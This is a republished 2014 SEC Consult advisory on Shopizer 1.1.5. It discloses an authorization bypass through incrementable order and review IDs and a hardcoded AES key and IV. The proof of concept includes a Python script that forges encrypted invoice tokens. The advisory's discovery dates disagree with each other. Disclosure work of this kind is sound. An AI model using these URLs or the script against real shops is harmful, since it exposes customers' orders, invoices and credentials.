SEC Consult SA-20140710-1 :: Multiple high risk vulnerabilities in Shopizer webshop

2014-10-16T00:00:00
ID SECURITYVULNS:DOC:31276
Type securityvulns
Reporter Securityvulns
Modified 2014-10-16T00:00:00

Description

SEC Consult Vulnerability Lab Security Advisory < 20140710-1 >

          title: Multiple high risk vulnerabilities in Shopizer webshop
        product: Shopizer

vulnerable version: 1.1.5 and below fixed version: v2 (new codebase) impact: high homepage: http://www.shopizer.com/ found: 2012-09-04 by: K. Gudinavicius SEC Consult Vulnerability Lab https://www.sec-consult.com =======================================================================

Vendor description:

Shopizer is an open source java shopping cart and e-commerce content management software (CMS). The system is built on Struts 2, Hibernate and Spring. JQuery ui and ajax are heavily used on the ui as well as DWR and Struts2-jQuery plug-in. (http://www.shopizer.com/)

Vulnerability overview/description:

Shopizer is prone to the following high risk vulnerabilities:

1) Authentication/authorization bypass

The authentication and authorization mechanism provided by the web application is prone to an authentication/authorization bypass vulnerability, which can be easily exploited by remote attackers for gaining access to private information. Malicious actions can be performed by directly calling internal methods which are supposed to be accessed only by authenticated and permitted users.

2) Hardcoded default encryption key

A default encryption key is used across all versions of the Shopizer. It can't be changed, for example, by editing a configuration file, because it's hardcoded in the source code of the web application. The default encryption key can be used to encrypt special values allowing access to the sensitive information.

Proof of concept:

1) Authentication/authorization bypass

The viewFiles method is vulnerable to authentication bypass. By changing the value of the orderId parameter (e.g. by incrementing it) it is possible to access and download ordered files of other users. This means that a malicious user can completely bypass the checkout process and even he doesn't need an account in order to gain access to the data that is sold on the target website. In the following example files of the order with the ID 61 will be accessed.

    /shop/checkout/viewFiles.action?orderId=61

The removeReview method is vulnerable to authorization bypass. An authenticated user can remove arbitrary product reviews by changing the value of the reviewId parameter (e.g. by incrementing it). The following URL will remove the product review with the ID 398.

    /shop/profile/removeReview.action?reviewId=398

2) Hardcoded default encryption key

The hardcoded default encryption key is 1000000000000000 (SecurityConstants.java) and the default initialization vector is fedcba9876543210 (EncryptionUtil.java). Both values were extracted from the publicly available versions of the Shopizer. The following is the source code of a Python script that can be used to decrypt and encrypt arbitrary values by using the extracted keys.

from Crypto.Cipher import AES from binascii import unhexlify import sys

mode = AES.MODE_CBC size = AES.block_size

pad = lambda s: s + (size - len(s) % size) * chr(size - len(s) % size)

def decrypt(ciphertext): ciphertext=unhexlify(ciphertext) decryptor = AES.new('1000000000000000', mode,'fedcba9876543210') plain = decryptor.decrypt(ciphertext) print repr(plain)

def encrypt(plaintext): sample=pad(plaintext) encryptor = AES.new('1000000000000000', mode,'fedcba9876543210') plain = encryptor.encrypt(sample) print plain.encode('hex')

if name=='main': if len(sys.argv)<3: print "Usage: %s encrypt|decrypt text" % sys.argv[0] sys.exit(1) elif sys.argv[1]=='decrypt': decrypt(sys.argv[2]) elif sys.argv[1]=='encrypt': encrypt(sys.argv[2])

The tool can be used to gain access to the invoices of other users. The prepareSimpleInvoice action takes encrypted value of the order number that is incremental. For example, to gain access to the invoice of the 57 order the 57|0 string must be encrypted:

C:\>python aes.py encrypt "57|0" 0664567580f32d3398a981cf51285057

The encrypted string is then used as a value for the fileId parameter of the following URL:

    /shop/cart/prepareSimpleInvoice.action?fileId=0664567580f32d3398a981cf51285057

Other parts of the web application such as passwords and ordered files also depend on the same encryption keys. If an attacker is able to gain access to the database where encrypted user credentials are stored, he can easily decrypt and use them in the further attacks.

Vulnerable / tested versions:

The vulnerabilities have been verified to exist in version 1.1.5 of Shopizer, which is the most recent version at the time of discovery.

Vendor contact timeline:

2012-01-10: The vulnerabilities have been found during a short blackbox test of a shopizer installation during a customer project 2012-12-20: Customer allows contacting vendor 2013-01-10: Contacting vendor through support@shopizer.com, fast reply, sending advisory 2013-01-22: Asking for status update, reply: vendor takes a look 2013-02-26: Asking for status update, vendor has some questions regarding version numbers 2013-03-22: Asking for status update again 2013-03-23: Vendor: Release 2 is scheduled for June 2013-06-25: Asking for status update, no answer 2013-07-01: Sending deadline for advisory release 2013-07-07: Vendor: Version 2 of shopizer delayed 2013-07-08: Asking for new release date 2013-07-09: Vendor: moving from Struts to Spring & Spring security 2013-10-03: Asking again for release date 2013-10-06: Vendor: Release shortly 2013-12-10: Asking for update 2013-12-12: Vendor: Release date set for January 2014 2014-06: Vendor releases v2 2014-07-10: SEC Consult releases security advisory

Solution:

Using the old version branch 1.x is not recommended as there are no security fixes implemented by the vendor.

Version 2 has been released by the vendor, but it has not been tested by SEC Consult and it is unclear whether the issues have been solved.

Workaround:

-

Advisory URL:

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

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EOF K. Gudinavicius / @2012, 2013, 2014